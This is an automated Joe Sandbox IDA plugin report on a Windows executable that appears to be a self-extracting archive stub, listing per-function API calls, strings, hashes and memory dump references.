Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcschr_wcsrchr
String ID: %s.%d.tmp$<br>$<s$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$s
API String ID: 986293930-1073329622
Opcode ID: 15423c9eda76cb862de3b56580f74ef1fb0409c84fbfe36a9d4ff2aa8653699e
Instruction ID: e40e13d8eb6ae6d22bb53e2ebe97b4a4424021efc913dc6c98eca459f6b86cd9
Opcode Fuzzy Hash: 15423c9eda76cb862de3b56580f74ef1fb0409c84fbfe36a9d4ff2aa8653699e
Instruction Fuzzy Hash: 15E167B2900218EAEF25DB64DD49EEE73BCAB04350F1080A5F649E7051EB7C9F848F61

Uniqueness

Uniqueness Score: -1.00%

Function 0072DA67 Relevance: 26.9, APIs: 5, Strings: 10, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0072DA70
_wcschr.LIBVCRUNTIME ref: 0072DA91
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 0072DAAC

Part of subcall function 0072C29A: _wcslen.LIBCMT ref: 0072C2A2

Part of subcall function 007305DA: _wcslen.LIBCMT ref: 007305E0

Part of subcall function 00731B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0072BAE9,00000000,?,?,?,000104AA), ref: 00731BA0

_wcslen.LIBCMT ref: 0072DDE9
__fprintf_l.LIBCMT ref: 0072DF1C

Strings

R, xrefs: 0072DC0C
*messages***, xrefs: 0072DBC1
a, xrefs: 0072DC16
9u, xrefs: 0072DDD0
,, xrefs: 0072DF57
@%s:, xrefs: 0072DF06, 0072DF12
, xrefs: 0072DD6C
*messages***, xrefs: 0072DBFA
RTL, xrefs: 0072DEDE
$%s:, xrefs: 0072DEFF

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a$9u
API String ID: 557298264-2633427365
Opcode ID: ff9419c86500eb6af1173b37a9b706e3d8a57c3c729fe51a29683503e04ea166
Instruction ID: 18da48c45fd7e43d52ab7b3aec034183b8ff0db95df85e477d57db244e8214ef
Opcode Fuzzy Hash: ff9419c86500eb6af1173b37a9b706e3d8a57c3c729fe51a29683503e04ea166
Instruction Fuzzy Hash: 6632E171900228DBDF34EF68E845BEE77A5FF04300F50416AF90697291E7B99D85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0073D4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0073B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0073B579
Part of subcall function 0073B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0073B58A
Part of subcall function 0073B568: IsDialogMessageW.USER32(000104AA,?), ref: 0073B59E
Part of subcall function 0073B568: TranslateMessage.USER32(?), ref: 0073B5AC
Part of subcall function 0073B568: DispatchMessageW.USER32(?), ref: 0073B5B6

GetDlgItem.USER32(00000068,0077FCB8), ref: 0073D4E8
ShowWindow.USER32(00000000,00000005,?,?,?,0073AF07,00000001,?,?,0073B7B9,0075506C,0077FCB8,0077FCB8,00001000,00000000,00000000), ref: 0073D510
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0073D51B
SendMessageW.USER32(00000000,000000C2,00000000,007535F4), ref: 0073D529
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0073D53F
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0073D559
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0073D59D
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0073D5AB
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0073D5BA
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0073D5E1
SendMessageW.USER32(00000000,000000C2,00000000,007543F4), ref: 0073D5F0

Strings

\, xrefs: 0073D549

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 01802bda7270e45dcc833d630d823a4a95868bc8fe1fe530722f326c053f7754
Instruction ID: b9fbe9379c3485a830858ffac9974e65971657f74c6c3bca83318dbd1a8ff926
Opcode Fuzzy Hash: 01802bda7270e45dcc833d630d823a4a95868bc8fe1fe530722f326c053f7754
Instruction Fuzzy Hash: 8031F571185741BFE301DF24DC4AFAB7FADEB86B04F104508F551961D1DB688A08877B

Uniqueness

Uniqueness Score: -1.00%

Function 0073D78F Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0073D7AE
ShellExecuteExW.SHELL32(?), ref: 0073D8DE
ShowWindow.USER32(?,00000000), ref: 0073D91D
GetExitCodeProcess.KERNEL32(?,?), ref: 0073D959
CloseHandle.KERNEL32(?), ref: 0073D97F
ShowWindow.USER32(?,00000001), ref: 0073D9E1

Strings

rs, xrefs: 0073D911
hs, xrefs: 0073D92E
.exe, xrefs: 0073D989
PDu<s, xrefs: 0073D8DE
.inf, xrefs: 0073D89A

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_wcslen
String ID: .exe$.inf$PDu<s$hs$rs
API String ID: 36480843-1355383514
Opcode ID: bb867f87618d10da924d9f522700f7e6057d0d07c7a0cd566c6162c6b0560b70
Instruction ID: 02014bd91de949bd77be2867eede28e845855f5427e9e2b43baca96f0aae550a
Opcode Fuzzy Hash: bb867f87618d10da924d9f522700f7e6057d0d07c7a0cd566c6162c6b0560b70
Instruction Fuzzy Hash: CE5115704083849AFB319B24F8447AB7BE4EF41744F04481EF9C5971A2E7BDAE84CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0073A6C2 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,0073B73D,00000066), ref: 0073A6D5
SizeofResource.KERNEL32(00000000,?,?,?,0073B73D,00000066), ref: 0073A6EC
LoadResource.KERNEL32(00000000,?,?,?,0073B73D,00000066), ref: 0073A703
LockResource.KERNEL32(00000000,?,?,?,0073B73D,00000066), ref: 0073A712
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,0073B73D,00000066), ref: 0073A72D
GlobalLock.KERNEL32(00000000,?,?,?,?,?,0073B73D,00000066), ref: 0073A73E
GlobalUnlock.KERNEL32(00000000), ref: 0073A7C6

Part of subcall function 0073A626: GdipAlloc.GDIPLUS(00000010), ref: 0073A62C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 0073A7A7
GlobalFree.KERNEL32(00000000), ref: 0073A7CD

Strings

PNG, xrefs: 0073A6C6
Fjuns, xrefs: 0073A762

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: GlobalResource$AllocGdipLock$BitmapCreateFindFreeFromLoadSizeofUnlock
String ID: Fjuns$PNG
API String ID: 541704414-78378848
Opcode ID: d8ae1a963484e62f0f4a2fba6429fa46cdab8108938f25bfd17f7b7788658cad
Instruction ID: b9790c83e655af9c2992eb7ccce5535d8c2a56567fc3b7ae2ac967aab13bede4
Opcode Fuzzy Hash: d8ae1a963484e62f0f4a2fba6429fa46cdab8108938f25bfd17f7b7788658cad
Instruction Fuzzy Hash: AC31C172600B06BFE7119F31DC8DD5BBBB8EF847A1F044518F84682221EB79D8409AA5

Uniqueness

Uniqueness Score: -1.00%

Function 0074A95B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00745695,00745695,?,?,?,0074ABAC,00000001,00000001,2DE85006), ref: 0074A9B5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0074ABAC,00000001,00000001,2DE85006,?,?,?), ref: 0074AA3B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,2DE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0074AB35
__freea.LIBCMT ref: 0074AB42

Part of subcall function 00748E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0074CA2C,00000000,?,00746CBE,?,00000008,?,007491E0,?,?,?), ref: 00748E38

__freea.LIBCMT ref: 0074AB4B
__freea.LIBCMT ref: 0074AB70

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 90c2ef7a549da190291c14d897a911173e75d935376eb08ab4688ea23e679bfa
Instruction ID: 7f37725bf5e6a976cc39e8797b82f27c825e60fc7df7d1e590850cfb0bd01f99
Opcode Fuzzy Hash: 90c2ef7a549da190291c14d897a911173e75d935376eb08ab4688ea23e679bfa
Instruction Fuzzy Hash: 6251C2B2A90216BFDB258F64CC45EBFB7AAEB44750F158629FC04E6150EB7CDC40C692

Uniqueness

Uniqueness Score: -1.00%

Function 00743B72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00743C35,?,?,00782088,00000000,?,00743D60,00000004,InitializeCriticalSectionEx,00756394,InitializeCriticalSectionEx,00000000), ref: 00743C03

Strings

api-ms-, xrefs: 00743BC3

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 2653a9a765f6328204bbf8a3e85ed57f778dc9b24e958d2c05fe04294005188d
Instruction ID: 66293837ffbdd4c5feff7a2beaadf5f5e1e23625a8acd709d41ff33465036034
Opcode Fuzzy Hash: 2653a9a765f6328204bbf8a3e85ed57f778dc9b24e958d2c05fe04294005188d
Instruction Fuzzy Hash: 0C110A71A44724ABDB228B589C41B997764EF017B1F214210E919FB1D0E778EF00C6D5

Uniqueness

Uniqueness Score: -1.00%

Function 0073AC16 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0073081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00730836
Part of subcall function 0073081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0072F2D8,Crypt32.dll,00000000,0072F35C,?,?,0072F33E,?,?,?), ref: 00730858

OleInitialize.OLE32(00000000), ref: 0073AC2F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0073AC66
SHGetMalloc.SHELL32(00768438), ref: 0073AC70

Strings

3To, xrefs: 0073AC47
riched20.dll, xrefs: 0073AC1E

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3To
API String ID: 3498096277-2168385784
Opcode ID: 2abe9e05f05de65359147c48421083286c1f13900ef115c357a9521378b10b3a
Instruction ID: e4302c4fcd413434adc3b52dea4dfb802fc5bf0eb7adf3e60b0f7d47a2ea3927
Opcode Fuzzy Hash: 2abe9e05f05de65359147c48421083286c1f13900ef115c357a9521378b10b3a
Instruction Fuzzy Hash: 9EF06DB1D40249ABCB10AFA9D8499EFFFFCEF84B00F10411AE801E2241CBB856058FA1

Uniqueness

Uniqueness Score: -1.00%

Function 007298E0 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00727760,?,00000005,?,00000011), ref: 0072995F
GetLastError.KERNEL32(?,?,00727760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 0072996C
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00727760,?,00000005,?), ref: 007299A2
GetLastError.KERNEL32(?,?,00727760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 007299AA
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00727760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 007299F9

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 6e3dffcdd9de6cb753195ea42f7c702bc02213b335ffbf5e42fdc27cebbe278a
Instruction ID: 1b6f19a3c46cc2595d0c2fb992b1259eaab68bdd6ee7cbe26e97a77fe32fab3f
Opcode Fuzzy Hash: 6e3dffcdd9de6cb753195ea42f7c702bc02213b335ffbf5e42fdc27cebbe278a
Instruction Fuzzy Hash: 66314730544351AFE7309F20DC4ABDABB94BB84330F180B1DF6E5961D1D3B8A994CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0073B568 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0073B579
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0073B58A
IsDialogMessageW.USER32(000104AA,?), ref: 0073B59E
TranslateMessage.USER32(?), ref: 0073B5AC
DispatchMessageW.USER32(?), ref: 0073B5B6

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 719772fe7522df0184c6722797f249c76d3f35e56f63acd45af95883cc865b80
Instruction ID: 34fbeba6c67362867dedf975606f2b57194c11b039f836d05e6573a69e36e2ab
Opcode Fuzzy Hash: 719772fe7522df0184c6722797f249c76d3f35e56f63acd45af95883cc865b80
Instruction Fuzzy Hash: 0CF0BD71A4121AABDB209BE5DC4CDDB7FACEE056917008515B905D2011EB7CD605CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 0073ABAB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 0073ABC2
SHAutoComplete.SHLWAPI(?,00000010), ref: 0073ABF9

Part of subcall function 00731FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0072C116,00000000,.exe,?,?,00000800,?,?,?,00738E3C), ref: 00731FD1

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 0073ABE9

Strings

EDIT, xrefs: 0073ABCD, 0073ABD8, 0073ABE5

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: cc278af96af5392b9bc9bdc978ef67575986a805f30a9f5b85dd34b6a37b3dde
Instruction ID: 9e707f7cff5f428269232dc02ef85828e818e1deb724869cc846f144d02d6223
Opcode Fuzzy Hash: cc278af96af5392b9bc9bdc978ef67575986a805f30a9f5b85dd34b6a37b3dde
Instruction Fuzzy Hash: E1F0277270122977EB2097289C0AFDBB36C9F46F00F488021BE40F30C0D768DE4186BA

Uniqueness

Uniqueness Score: -1.00%

Function 0073DBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0073DBF4
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0073DC30

Strings

sfxpar, xrefs: 0073DC2B
sfxcmd, xrefs: 0073DBEF

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 6131ba271bb590e4d8dfb959556ddbe174bedf604b2fb95b60ebeb3fb1991fd4
Instruction ID: b726a5121e318d18a7d4fbc02c77a2f00548c85d8a72c286d05db2476097d8c9
Opcode Fuzzy Hash: 6131ba271bb590e4d8dfb959556ddbe174bedf604b2fb95b60ebeb3fb1991fd4
Instruction Fuzzy Hash: FBF0A7B2414628AAEB201BA59C0ABFA3B58AF05B82F040415BD8595052E7FC8D40D6B0

Uniqueness

Uniqueness Score: -1.00%

Function 00729785 Relevance: 6.1, APIs: 4, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00729795
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 007297AD
GetLastError.KERNEL32 ref: 007297DF
GetLastError.KERNEL32 ref: 007297FE

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: ba7c3ce583243b6c21b3dea586276b9e7654e419200a6de5068a19ef981c24d7
Instruction ID: 3a29b4a343e19ecfef2b72bef6ad6c8147ebf741f3b8c9e2e045e91557f53e9f
Opcode Fuzzy Hash: ba7c3ce583243b6c21b3dea586276b9e7654e419200a6de5068a19ef981c24d7
Instruction Fuzzy Hash: FA11A130910324EBDF205F64E804AAA37A9FB42361F1C8929F75AC5290D7BCDE44DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0074AD34 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,00743F73,00000000,00000000,?,0074ACDB,00743F73,00000000,00000000,00000000,?,0074AED8,00000006,FlsSetValue), ref: 0074AD66
GetLastError.KERNEL32(?,0074ACDB,00743F73,00000000,00000000,00000000,?,0074AED8,00000006,FlsSetValue,00757970,FlsSetValue,00000000,00000364,?,007498B7), ref: 0074AD72
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0074ACDB,00743F73,00000000,00000000,00000000,?,0074AED8,00000006,FlsSetValue,00757970,FlsSetValue,00000000), ref: 0074AD80

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 1124e875b517efe459e512336f7b2256bbaa54a9b37c506ad4a7c371ad2988e6
Instruction ID: 59d2eaa357bbebc2975bd999039dde6b4b0319591fb33787e0ba8f78740fdf41
Opcode Fuzzy Hash: 1124e875b517efe459e512336f7b2256bbaa54a9b37c506ad4a7c371ad2988e6
Instruction Fuzzy Hash: F4014732B81322BBC7224A689C44A977B58EF057B3B214220F816D76A4D72CC801CEE5

Uniqueness

Uniqueness Score: -1.00%

Function 0074BA27 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 007497E5: GetLastError.KERNEL32(?,00761030,00744674,00761030,?,?,00743F73,00000050,?,00761030,00000200), ref: 007497E9
Part of subcall function 007497E5: _free.LIBCMT ref: 0074981C
